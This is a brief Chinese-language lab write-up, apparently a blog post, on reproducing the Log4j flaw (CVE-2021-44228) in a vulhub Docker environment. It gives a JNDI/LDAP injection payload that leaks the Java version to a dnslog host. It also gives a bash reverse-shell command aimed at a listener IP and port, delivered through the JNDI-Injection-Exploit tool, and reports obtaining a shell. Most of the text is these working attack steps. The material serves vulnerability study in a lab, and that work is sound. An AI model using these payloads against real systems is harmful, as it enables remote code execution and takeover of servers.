Log4j(CVE-2021-44228)

log4j原理：log4j漏洞成因和原理（JNDI和LDAP）_Koikoi123的博客-CSDN博客

漏洞复现：

进入到vulhub里的指定漏洞库，打开环境：docker-compose up -d

访问该漏洞环境，使用dnslog平台检测是否存在log4j漏洞，payload:${jndi:ldap://${sys:java.version}.009nuz.dnslog.cn}，返回dnslog检测平台，发现成功回显，说明存在log4j漏洞

使用POC: bash -i >& /dev/tcp/192.168.211.130/6666 0>&1，然后对该POC进行base64编码，使用漏洞利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar（工具要在kali中使用，windows中使用无效）

Kali开启监听

选择工具生成的一个exp进行利用，访问后成功反弹shell